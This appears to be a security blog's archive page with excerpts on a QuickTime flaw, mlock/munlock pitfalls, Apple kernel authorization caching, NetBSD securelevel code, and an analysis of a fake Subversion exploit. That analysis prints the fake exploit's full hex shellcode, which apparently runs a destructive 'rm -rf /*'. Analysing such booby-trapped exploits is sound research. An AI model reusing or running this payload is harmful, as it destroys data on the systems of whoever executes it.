CVE-2007-0015 and reliable attack vectors

CVE-2007-0015 on Mac OS X Tiger 10.4.6

When CVE-2007-0015 was published by the Month of Apple Bugs team, their exploit used a QTL Quicktime playlist file for triggering the bug. Whether their decision was because of preventing the exploit from being used “en masse” or simply for testing a different, less classic attack vector, it’s still worth noting that it could have worked far more efficiently via Safari, since Quicktime supports embedding playlist files and the Safari process address space would be easily subverted to ensure a higher degree of reliability when executing our payload.

Sometimes it’s good to remember old flaws, and improve old exploit code. Sometimes it’s even better to use new attack vectors on old flaws, too.

Memory locking behavior issues

This is nothing new, and it’s strictly what the POSIX specification warns about mlock() & munlock(). As you may already know, mlock() locks memory to prevent it from being swapped to disk (for example, if you require cryptographic secrets such as encryption keys to be memory resident during system stress, preventing resilience on disk and other media). munlock() does exactly the opposite: it unlocks memory.

The problem is that both functions don’t necessarily work in the same manner across different implementations. The address parameter to both might be required to be page-aligned (rounded up to the size of a memory page, for example 4096 bytes in x86).

What happens if we supply a non-page aligned memory address? If the implementation rounds up by default, we will be either locking a whole page or unlocking it, if we use mlock() or munlock() respectively. That means all the memory contents within the same page will be affected. This might not be an issue during locking, but when you are unlocking, it’s a different situation… we might expose data that was supposed to remain locked and compromise other secrets.

Continue reading →

Security decisions from the past: to cache or not to cache

We haven’t been abducted, yet. While working on an interesting research project, we found something about Apple’s Kernel Authorization framework that might be a bit odd. From their documentation:

When writing a vnode scope listener, be aware that not every file system operation will trigger an authorization request. For example, if an actor successfully requests KAUTH_VNODE_SEARCH on a directory, the system may cache that result and grant future requests without invoking your listener for each one.

Albeit we haven’t verified this any further, it’s at very least interesting. Does that mean that a security decision might be cached and applied again under potentially circumstances? Huh. It’s true that a vnode scope listener can be one hell of a performance black-hole, but race conditions due to cached decisions is worse than slowing down file system operations, especially if the module overrides other policies.

NetBSD, architecture-dependent issues and forthcoming projects

We’ve been talking to a kernel developer of the NetBSD project (probably the most portable operating system out there), regarding its security status and some potential enhancements.

While reading through the secmodel securelevel source, we spotted this interesting snippet:

case KAUTH_REQ_SYSTEM_TIME_SYSTEM: {

 struct timespec *ts = arg1;
 struct timeval *delta = arg2;

/*
  * Don't allow the time to be set forward so far it will wrap
  * and become negative, thus allowing an attacker to bypass
  * the next check below.  The cutoff is 1 year before rollover
  * occurs, so even if the attacker uses adjtime(2) to move
  * the time past the cutoff, it will take a very long time
  * to get to the wrap point.
  *
  * XXX: we check against INT_MAX since on 64-bit
  *      platforms, sizeof(int) != sizeof(long) and
  *      time_t is 32 bits even when atv.tv_sec is 64 bits.
  */

 if (securelevel > 1 &&
     ((ts->tv_sec > INT_MAX - 365*24*60*60) ||
      (delta->tv_sec < 0 || delta->tv_usec < 0)))
 	result = KAUTH_RESULT_DENY;

break;
}

QA Hell: Quicktime again!

Even if time for keeping this blog updated is becoming rather scarce, we couldn’t resist publishing a note about Quicktime again. It was on the news some time ago, due to another simple, classical stack buffer overflow flaw. It was related with RTSP interfaces again.

Our exploit pack already provides a reliable exploit against this and other recent flaws, and there’s no real exploit for this flaw publicly available (in terms of quality and reliability). It’s quite possible that so-called drive-by malware installation kits are making use of this flaw to infect unsuspecting users.

We expected Apple to perform some due diligence with Quicktime’s QA, since the last real 1990 style flaws have been all related to RTSP functionality, but looks like they are still missing some guidance. Hopefully it won’t take long for them to realize that something like SDL could significantly improve their product security.

Fake exploits: probably necessary

Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already seems enough dubious):

/*
 * This exploits a wierd state condition in Subversion < = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */

Behind a serious sounding description, there’s really nothing technically valid. It’s just “mumbo jumbo” to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).

We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):

char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";

Let’s take a look over the disassembly and strings. We notice a call to the signal() system call:

From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80

Continue reading →